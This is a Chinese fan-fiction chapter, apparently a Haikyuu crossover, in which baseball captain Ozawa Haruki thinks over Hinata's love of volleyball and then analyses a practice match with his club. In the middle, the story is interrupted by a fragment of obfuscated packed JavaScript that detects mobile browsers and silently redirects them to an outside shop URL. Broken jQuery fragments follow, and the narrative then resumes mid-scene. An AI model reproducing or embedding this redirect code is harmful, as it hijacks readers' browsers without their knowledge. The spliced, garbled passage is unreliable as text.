“我以前确实是棒球部的,当时的部长还说我如果腿再长一些就可以进校田径队了……”

    “但是啊,”

    日向看了看小泽春树踩着的鞋子,眼睛泛着兴奋的光泽,手捏了一下,他展露一个大大的笑容:“但喜欢与喜欢之间,还是有什么不一样的吧!”

    不一样。

    “无论是棒球,还是足球,都很好玩,我都很喜欢!”

    小泽静静地注视着眼前的橘发少年,只听他继续说道:“但只有排球,深深击中了我的心啊!扣球的感觉真的太帅了,就像是生鸡蛋拌饭一样!”

    “生鸡蛋拌饭?”

    “嗯!我最喜欢的食物,每天吃都会很开心……同样的,每天摸到球,有人愿意帮忙托球就会高兴一天,对着墙练也不会感到难堪……

    我妈妈说过,喜欢是可以选择的,但只有爱是藏不住的!”

    小泽春树身上凛冽的气势层层密密地亮了出来,偏生日向像是完全感受不到一样。

    “日向,伯母还说过什么?”

    日向想了想,说:“我和我妹妹小夏一定要好好吃饭,认真参加社团活动……还有,妈妈她说,她一直喜欢我们为了热爱,抓住每天的时间练习的样子。”

    小泽看着日向那双如初生白日的眼睛,一时间移不开目光。

    “热爱”。

    小泽感受着心中的悸动,游弋的温暖灼烧着喉咙,如一把大锤质问着他的过去。

    就在这一瞬,他仿佛又回到了那个赛场上。

    密密匝匝的窥视,像是泄露的泥澡,污浊了他的双眼。

    小泽春树现在突然想起来了这个词汇,曾经无数次推着他向前走的源动力。

    *

    坐在部活室里,小泽春树脑海中回响着日向翔阳说的那番话。

    日向在说完后观察着他的表情,与他道别时的脸色有些担忧。

    果然……春树握了握拳。

    他能感觉到自己的右手变得更加有力,最近出手挥棒的动作也更加凝练。

    所以,等到他父亲从国外回来后,小泽春树还是觉得——

    一定要拿排球狠狠地砸他的脑袋!

    “部长,那个日向同学是我们部的新人吗!”

    “我知道这个人,女排部预备役!”

    此话一出,众人默然一瞬:……??

    “……什么呀,别乱说。”

    “小泽部长,所以,日向同学是要加入我们棒球部吗?”

    京口向坐在部长位的小泽春树问。

    后者这时也才后知后觉地意识到,他竟然又想起排球了。

    明明加入雪之丘棒球部就是为了远离排球,他也已经两年没有碰过那颗颜色鲜艳的硬皮软球了……

    是因为最近身边多了一个对排球堪称痴迷的日向吗?

    小泽春树抿了抿形状优美如桃花的唇瓣,周身自带一种寒冰般清洁肃杀的“气场”。

    放眼望去,室内都是一群寸头大块头,有断眉的无眉的,吊销眼香肠嘴,无一不是“混混”级别,但这时却都乖顺地不出声。

    “小泽部长,所以日向是不是……哎呀呀。”京口的声音逐渐消失。

    从周围人看来,自家的部长似乎又陷入了难以言表的沉思,深蓝色的碎发勾勒出他清隽的眼目,辉映着寒冷的紫光。

    十分有气势的模样呢!有人兴奋而肯定地点头。

    当然,各位都很习惯了,小泽自从初一义无反顾地加入棒球部后,他经常会在坐在部活室里一脸冷沉地想着什么。

    那时他还是一头墨蓝色短发,他们感觉,这个外表冷酷无情的学弟就像是有什么无人触及的过去。

    连带着他看到棒球时的眼睛,总是下意识地往球周围绕一圈,甚至会下意识地看看球下,像是有什么人站在下面。

    部员们一开始还以为部长能够看到什么“附在棒球上的鬼怪”。

    但这个合理推测,在第一次止步四强的聚餐中,被小泽认真地反驳了。

    哈哈,当时可真是吓到了他们,小泽部长竟然会感到无语什么的。

    回忆泛滥,有人在心里笑出了声。

    不论如何,部员们可是都能感受到小泽春树对棒球独具一格的认真与恪守,或许热有所匮乏……

    但,爱绝对是存在的。

    他,是一个称职的队长。

    日落西山,雪之丘棒球部现在正在复盘白天的练习赛。

    两年里,雪之丘屡屡在打进IH预选赛的四强后就止步不前,就算他们具备了进入全国的实力。

    这次也是,落败北川第一中学,在他们的强攻快击下可以说是溃不成军。

    这对一座小镇里的三次球队来说实属佳绩,再加上,雪之丘的棒球部在两年前还默默无闻,所以一时众人都津津乐道。

    这件事还在这个月被著名球类月刊大肆报道,小泽春树还以破廉耻的“守在四强的屠夫”这个名号在初中球届广为人知。

    谁都知道雪之丘有一个狠厉不近人情的部长,与不知从何而起的初中排球届“球场上的王者”齐名。

    小泽春树对此十分无语,他一向知道初中球届报刊的夸大其词捕风捉影,或许这种“屠夫”之类的报道还有他爸爸那边人的手笔。

    但,明明自己就是不爱说话加战略完备,结果落到媒体眼里就是凶残的屠夫?

    真是难以言喻。

    他不知道的是,在球场上直面他片甲不留的战术,对手们都认为他比别人多长了八百个心眼,再加上一张冷漠的骄矜部长脸,很容易成为被深深记住的焦点。

    对手:到底是谁过分啊!这个人全程甩冷刀子,就跟拿着把刀的屠夫一样!

    推此及彼,那位“王者君”估计也是被媒体迫害了!

    小泽春树深信谣言的威力。

    而且,一直止步四强什么的——这个名号放在球队本队上还真是令人火大啊。

    所以,在今年也止步不前后,小泽综合了教练与经理的意思,安排为期一周的地狱训练,力求在他升入国三后,一手锻造的棒球部获得攻破对方攻方反围剿的能力。

    于是,小泽在寻求日向同意后,安排了这场双人封杀的“练习赛”。

    “抱歉。翔阳不是我们部的新人,”小泽眨了眨眼睛,意识到自己又慢半拍了:“大家从他的头发上就能看出来了吧。”

    “对啊。”有人摸了摸自己和尚出家般的脑袋。

    打棒球一般都要剃寸头,因为需要戴棒球帽,当然,部长大人除外,不用剃光头啦!

    什么,你问为什么?

    因为他是小泽部长啊!

    既然不是棒球部的,就有人恍然大悟:“所以他果然是田径部的吧!”

    条三帮忙澄清:“才不是,他估计是回家部的吧,没有在赛前的宣誓会见过他!”

    “那就是预备新人了?!”

    有人呀呼了一声:

    “我早就期待有新血液加入了!”

    “诶!那我们明年岂不是可以再次迈入全国了!太好了……”

    条三被各位部员的兴奋喊叫淹没了,只得夸张地将两手张开,把部长护在不断涌出“气泡框”的后面。

    他的声音亮而带着笑:“不是!部长要是把他招进来了,根本就不会直到现在才拜托他来打磨我们了吧!”

    “所以这些都是部长的精心安排,把深藏不露的高人派过来训练我们!?”

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891079|212736||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >一个c班的同学羞涩捂脸,用那只厚厚的,像是能把小混混揍扁的手掌。

    “天啊——部长!!万岁!!”一众壮汉感动地捂住了心脏。

    小泽春树:“……”

    他忍了忍,最终还是闭上了嘴。

    唯有那双潋滟的褐色凤眸,流转出平静的波澜。落在各位眼中,便成为了包容他们的最佳证明!

    站在春树身后,奈奈子捂着胸口笑得合不拢嘴。

    奈奈子是升到初二时才加入的。

    半年前她还在隔着一网之外,徒自感慨“屠夫”的帅气。

    正是春树邀请了“回家部”的她,当时她还吓了一跳,以为是他发现嫌弃自己经常站在场外偷窥他们练习,要赶走自己。

    奈奈子当时完全没有想到,如今她能站在这个经常面无表情的“冰山”后面,笑意盈盈地看他略带无奈的柔和表情。

    真的很柔和,棒球部的各位都很好!

    每当看到棒球部快活热闹的场景,奈奈子都会深深感激春树的邀请。

    “小泽部长真的很好呢,对吧~”奈奈子歪头,看热闹不嫌事大。

    “奈奈子说得对!”“就是啊……”

    听不得这些直白的赞美,小泽春树说:“是翔阳主动提出的帮忙。”

    他的一句话把混乱的场面拉了回来。

    沉稳无波的清亮男音,带着两年沉淀下来的掌控气势:

    “当翔阳向你们冲过来的时候,当球擦过空气成线结网的时候,你们都在想些什么呢?”

    “恐惧?诧异?还是愤怒失措呢。”

    在这一瞬,许多人后知后觉:

    小泽部长的实力之强,这一两年的相处他们都有心理准备了,那么,他们的确是在畏怯一个小个子吗?

    “——让对手恐惧,让对手无从下手,别忘了我们自己以前都在做这些。

    记住,我们千万不能忘却自己在守方时积累的经验,要把目光放到更远的场地里。”

    停顿一刻,将众人的表情都收归眼底,小泽春树掏出视频:“看这里,在二十九分三十秒时,井上,你做了一个下意识的闪避动作,所以跑垒才没跟上……”

    井上川崎懊恼地“啊”了一声。

    小泽春树眼神过分有穿刺力地看他一眼。

    就是这一眼,让他们周围人瞬间寂静。

    他们苦乐参半地疯狂回忆,生怕也蠢蠢地“啊”一声。

    被小泽春树注视这件事并不恐怖,他们明白这一眼没什么意味,甚至还是“关怀”……但就是不想在他面前表现地蠢笨啊。

    不想让沉默的小泽部长,认为他们不理解,跟不上,或者认为他自己是一个人。

    春树继续道:“如果这时候你考虑到日向的站位,完全可以避开这种下意识的畏缩……”

    下意识的?还是被对手刻意针对的后果?

    一瞬间的迟疑,在小泽春树的眼中,都会被无限放大。

    不远处,教练入江静静地看着这一切:

    “真是令人肃然起敬的观察能力啊。”

    自身肩负着与新人球手共事的重担,对手还是无比熟悉自己的队友,想必承受着不小的压力。

    在这种情况下,竟然还能分析出他们每一个“下意识”的心理变化吗?

    小泽他是提前预料到的,还是在混乱的现场中临时观察出来的呢?

    无论如何,可还真是后生可畏。

    “算无遗策的战略部署,透彻强力的防守能力。我们球队正是有了小泽,才会垒居四强啊。”入江教练赞叹。

    这句话并不夸张,而且是每个球队都知道的道理——小泽春树,强大的战术大师,拥有让队伍脱胎换骨的能力。